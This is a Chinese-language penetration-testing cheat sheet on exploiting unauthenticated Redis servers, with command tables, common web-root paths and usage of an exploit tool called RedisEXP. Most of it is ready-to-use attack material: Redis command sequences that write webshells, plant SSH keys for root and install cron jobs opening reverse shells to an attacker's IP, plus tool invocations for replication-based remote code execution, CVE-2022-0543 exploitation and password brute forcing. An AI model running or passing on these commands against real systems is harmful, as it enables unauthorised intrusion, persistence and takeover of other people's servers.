如有出现错误请发送邮件到xiaomming9@gmail.com,敬请斧正
Redis 未授权利用组合拳
前言
最近在渗透测试中遇到了一些redis未授权利用的一些问题(拿到了Redis权限,但在提权时,shell写不进去,亦或是弹shell弹不出来)
虽然之前在打红日靶场中遇到过redis的站点,但当时没有深究关于redis未授权的问题,所以今日补补当时留下的坑点
基础命令
| 命令 | 功能 | 典型用途 | 限制版本/条件 |
|---|---|---|---|
config set dir "路径" |
设置目录 | 路径劫持 | Redis < 6.2(默认无 ACL) |
config set dbfilename "文件名" |
设置文件名 | 文件覆盖 | Redis < 6.2(默认无 ACL) |
set "键名" "值" |
写入内存数据 | 文件构造 | 无 |
save / bgsave |
将内存数据持久化到磁盘 | 文件落地 | 需持久化功能开启 |
del "键名" |
删除内存中的键 | 痕迹清理 | 需配合 flushall 彻底清除 |
🖥️ 利用方式对比表(Linux / Windows)
| 系统 | 写 WebShell | SSH Key | 定时任务/计划任务 | 配置劫持 | 启动项写入 |
|---|---|---|---|---|---|
| Linux | ✅需 Web 目录写权限 | ✅需用户 .ssh 目录可写 |
✅需 /var/spool/cron、/etc/cron.* 可写 |
✅ 修改 ~/.bashrc、/etc/profile |
❌ 无传统启动项机制 |
| Windows | ✅需 Web 目录写权限 | ❌ | ✅需管理员权限执行命令 | ❌ 需依赖注册表/服务劫持 | ✅ 注册表或启动目录可写 |
📁 常见 Web 根目录路径
🔸 Linux
| 路径 | 所属平台 | 补充说明 |
|---|---|---|
/var/www/html/ |
Apache 默认 | Debian/Ubuntu 默认路径 |
/usr/share/nginx/html/ |
Nginx 默认 | CentOS/RHEL 默认路径,编译安装可能为 /usr/local/nginx/html/ |
/www/wwwroot/ |
宝塔 | 实际路径通常为 /www/wwwroot/域名/(需动态替换域名) |
/home/wwwroot/ |
LNMP | LNMP 一键包默认路径,可能包含子目录如 /home/wwwroot/default/ |
/var/www/vhosts/ |
Plesk | 具体路径为 /var/www/vhosts/域名/httpdocs/,需域名替换 |
🔹 Windows
| 路径 | 所属平台 | 补充说明 |
|---|---|---|
C:\inetpub\wwwroot\ |
IIS 默认 | IIS 默认根目录,需注意 IIS 用户组权限(如 IIS_IUSRS) |
D:\wwwroot\ |
宝塔 Win | 宝塔 Windows 版默认路径,实际为 D:\wwwroot\域名\(需动态替换域名) |
D:\xampp\htdocs\ |
XAMPP | XAMPP 集成环境路径,可能包含子项目目录(如 D:\xampp\htdocs\project\) |
D:\phpStudy\WWW\ |
phpStudy | phpStudy 默认路径,实际为 D:\phpStudy\WWW\\域名\(需动态替换域名) |
D:\apache-tomcat-*\webapps\ROOT\ |
Tomcat | 需替换 * 为实际版本号(如 9.0.85),默认安装路径在 C:\Program Files |
💥 利用代码片段
1. 写WebShell
将文件保存到web根目录下(需要知道web根目录路径)
当写入的数据较大时写入数据会被压缩,若禁用压缩需要使用命令config set rdbcompression no
config set dir "Web目录"
config set dbfilename "文件名"
set "键名" "一句话木马"
config set rdbcompression no #禁用压缩
save


2. 写 SSH Key
本地ssh-keygen生成公钥与私钥,将公钥放在redis未授权服务器/root/.ssh/authorized_keys上
忆往昔
config set dir /root/.ssh/
config set dbfilename authorized_keys
set "键名" "\n\n公钥文件\n\n"
save




3. 写 Linux Cron
写入计划任务,在/etc/cron.d或/var/spool/cron下生成文件
/etc/cron.d下的计划任务文件名可以是随机的,但计划任务命令需要指定用户名
/var/spool/cron下的计划任务文件名和用户名相同,会覆盖文件,可能会破坏生产环境
config set dir /etc/cron.d
config set dbfilename "任意文件名"
set "键名" "\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save
config set dir /var/spool/cron
config set dbfilename root
set "键名" "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n"
save



⚔️ 利用工具
ARDM


RedisEXP
██████╗ ███████╗██████╗ ██╗███████╗ ███████╗██╗ ██╗██████╗
██╔══██╗██╔════╝██╔══██╗██║██╔════╝ ██╔════╝╚██╗██╔╝██╔══██╗
██████╔╝█████╗ ██║ ██║██║███████╗ █████╗ ╚███╔╝ ██████╔╝
██╔══██╗██╔══╝ ██║ ██║██║╚════██║ ██╔══╝ ██╔██╗ ██╔═══╝
██║ ██║███████╗██████╔╝██║███████║ ███████╗██╔╝ ██╗██║
╚═╝ ╚═╝╚══════╝╚═════╝ ╚═╝╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝
基本连接:
RedisExp.exe -r 192.168.19.1 -p 6379 -w 123456
执行Redis命令:
RedisExp.exe -m cli -r 192.168.19.1 -p 6379 -w 123456 -c info
加载dll或so执行命令:
RedisExp.exe -m load -r 目标IP -p 目标端口 -w 密码 -rf (目标 dll | so 文件名)
RedisEXP.exe -m load -r 127.0.0.1 -p 6379 -rf exp.dll -n system -t system.exec
主从复制命令执行:
RedisExp.exe -m rce -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port [-c whoami 单次执行] -rf 目标文件名[exp.dll | exp.so (Linux)]
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami
RedisEXP.exe -m rce -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -c whoami -rf exp.so
主从复制上传文件:
RedisExp.exe -m upload -r 目标IP -p 目标端口 -w 密码 -L 本地IP -P 本地Port -rp 目标路径 -rf 目标文件名 -lf 本地文件
RedisEXP.exe -m upload -r 127.0.0.1 -p 6379 -L 127.0.0.1 -P 2222 -rp . -rf 1.txt -lf .\README.md
主动关闭主从复制:
RedisExp.exe -m close -r 目标IP -p 目标端口 -w 密码
写计划任务:
RedisExp.exe -m cron -r 目标IP -p 目标端口 -w 密码 -L VpsIP -P VpsPort
RedisEXP.exe -m cron -r 192.168.1.8 -p 6379 -L 192.168.1.8 -P 9001
写SSH 公钥:
RedisExp.exe -m ssh -r 目标IP -p 目标端口 -w 密码 -u 用户名 -s 公钥
RedisEXP.exe -m ssh -r 192.168.1.8 -p 6379 -u root -s ssh-aaaaaaaaaaaaaa
写webshell:
RedisExp.exe -m shell -r 目标IP -p 目标端口 -w 密码 -rp 目标路径 -rf 目标文件名 -s Webshell内容 [base64内容使用 -b 来解码]
RedisEXP.exe -m shell -r 127.0.0.1 -p 6379 -rp . -rf shell.txt -s MTIzNA== -b
CVE-2022-0543:
RedisExp.exe -m cve -r 目标IP -p 目标端口 -w 密码 -c 执行命令
爆破Redis密码:
RedisExp.exe -m brute -r 目标IP -p 目标端口 -f 密码字典
RedisEXP.exe -m brute -r 127.0.0.1 -p 6378 -f pass.txt
生成gohper:
RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件
执行 bgsave:
RedisExp.exe -m bgsave -r 目标IP -p 目标端口 -w 密码
判断文件(需要绝对路径):
RedisExp.exe -m dir -r 目标IP -p 目标端口 -w 密码 -rf c:\windows\win.ini
写计划任务

